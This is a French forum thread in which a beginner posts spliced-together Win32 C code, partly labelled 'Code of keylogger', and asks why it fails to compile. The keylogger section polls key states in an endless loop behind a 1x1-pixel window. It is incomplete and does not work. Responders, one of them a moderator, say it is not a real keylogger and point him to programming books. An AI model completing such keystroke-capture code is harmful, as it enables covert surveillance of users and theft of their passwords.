rebelattack
Messages postés11Date d'inscriptionmardi 18 mars 2008StatutMembreDernière intervention10 novembre 2009
-
21 févr. 2009 à 20:20
BruNews
Messages postés21041Date d'inscriptionjeudi 23 janvier 2003StatutModérateurDernière intervention21 août 2019
-
22 févr. 2009 à 20:02
bonjour,
J'ai un probleme lorsque je veux compiler ce code. Je suis débutant, mais j'ai réunis plusieur code et çà doit etre la le probleme. donc lorsque je compile il me met une erreur (je signalerais via une note).
Je précise je compile avec Dec-C++.
/* Make the class name into a global variable */
char szClassName[ ] = "WindowsApp";
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
HWND hwnd; /* This is the handle for our window */
MSG messages; /* Here messages to the application are saved */
WNDCLASSEX wincl; /* Data structure for the windowclass */
/* The Window structure */
wincl.hInstance = hThisInstance;
wincl.lpszClassName = szClassName;
wincl.lpfnWndProc = WindowProcedure; /* This function is called by windows */
wincl.style = CS_DBLCLKS; /* Catch double-clicks */
wincl.cbSize = sizeof (WNDCLASSEX);
/* Use default icon and mouse-pointer */
wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
wincl.lpszMenuName = NULL; /* No menu */
wincl.cbClsExtra = 0; /* No extra bytes after the window class */
wincl.cbWndExtra = 0; /* structure or the window instance */
/* Use Windows's default color as the background of the window */
wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;
/* Register the window class, and if it fails quit the program */
if (!RegisterClassEx (&wincl))
return 0;
/* The class is registered, let's create the program*/
hwnd = CreateWindowEx (
0, /* Extended possibilites for variation */
szClassName, /* Classname */
"Windows App", /* Title Text */
WS_OVERLAPPEDWINDOW, /* default window */
CW_USEDEFAULT, /* Windows decides the position */
CW_USEDEFAULT, /* where the window ends up on the screen */
1, /* The programs width */
1, /* and height in pixels */
HWND_DESKTOP, /* The window is a child-window to desktop */
NULL, /* No menu */
hThisInstance, /* Program Instance handler */
NULL /* No Window Creation data */
);
/* Run the message loop. It will run until GetMessage() returns 0 */
while (GetMessage (&messages, NULL, 0, 0))
{
/* Translate virtual-key messages into character messages */
TranslateMessage(&messages);
/* Send message to WindowProcedure */
DispatchMessage(&messages);
}
/* The program return-value is 0 - The value that PostQuitMessage() gave */
return messages.wParam;
}
/* This function is called by the Windows function DispatchMessage() */
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message) /* handle the messages */
{
case WM_DESTROY:
PostQuitMessage (0); /* send a WM_QUIT to the message queue */
break;
default: /* for messages that we don't deal with */
return DefWindowProc (hwnd, message, wParam, lParam);
}
return 0;
}
/* Code of keylogger */
int isalt(); //savoir si alt est pressé
int ismajpressed(); //savoir si shift est pressé
int isamaj(); //savoir si on est en état de majuscule ( prenant en compte caps Lock et shift )
void TraiterLettre(int lettre);
int majuscule; //savoir si le clavier est en mode caps lock
FILE *sortie;
char fichier[256];
int main(int argc, char *argv[])
{
int i, lettre, result, lastresult, lastletter, compteur;
while ( i==0 ) { //boucle sans fin
lettre=13;
for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
//passer les caractères inutiles
if ( lettre==14 ) lettre=20;
if ( lettre==21 ) lettre=32;
if ( lettre==33 ) lettre=48;
if ( lettre==58 ) lettre=65;
if ( lettre==91 ) lettre=96;
if ( lettre==108 ) lettre=109;
if ( lettre==112 ) lettre=186;
if ( lettre==189 ) lettre=190;
if ( lettre==193 ) lettre=219;
if ( lettre==220 ) lettre=221;
if ( lettre==222 ) lettre=223;
result=GetKeyState(lettre);
//Pour la touche caps lock, le 20, il y a un traitement particulier pour voir le mode du clavier
if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0;
if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1;
if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
{
TraiterLettre(lettre); //je ne sais plus trop mais ça marche
lastresult=result;
lastletter=lettre;
lettre=13; sleep(50); // c'est ici que ça bug quand je compile
}
} //fin de test des lettres
sleep(1);
} //fin de la boucle sans fin
jeffy131
Messages postés123Date d'inscriptionsamedi 14 juillet 2007StatutMembreDernière intervention29 mars 20091 22 févr. 2009 à 01:54
Ce 'code' (si on peut appeler ça un code) est une horreur infâme.
Aucun rapport avec un keylogger
Ce n'est pas en copiant n'importe quoi que tu vas apprendre à programmer.
Lis le K&R et le Petzold pour avoir au moins les bases...
rebelattack
Messages postés11Date d'inscriptionmardi 18 mars 2008StatutMembreDernière intervention10 novembre 2009 22 févr. 2009 à 09:51
Pourquoi ce code est une horreur, enfait quand je le compile en apli console il marche très bien mais en fenêtre ça marche pas. Je vais essayer de mette une majuscule merci brunews. je vous tient au courant
BruNews
Messages postés21041Date d'inscriptionjeudi 23 janvier 2003StatutModérateurDernière intervention21 août 201919 22 févr. 2009 à 20:02
Il est certain que tout cela n'a rien à voir avec un keylogger, je ne vois pas l'ombre d'un hook clavier.
En mode GUI, ta WindowProcedure() ne faisant rien, il est normal que tu n'obtiennes rien.
Comme dit plus haut:
- Plonge toi dans Petzold et tu comprendras les messages Windows.
- Une boucle sans fin est une horreur en prog, il faut laisser aux gens leur CPU.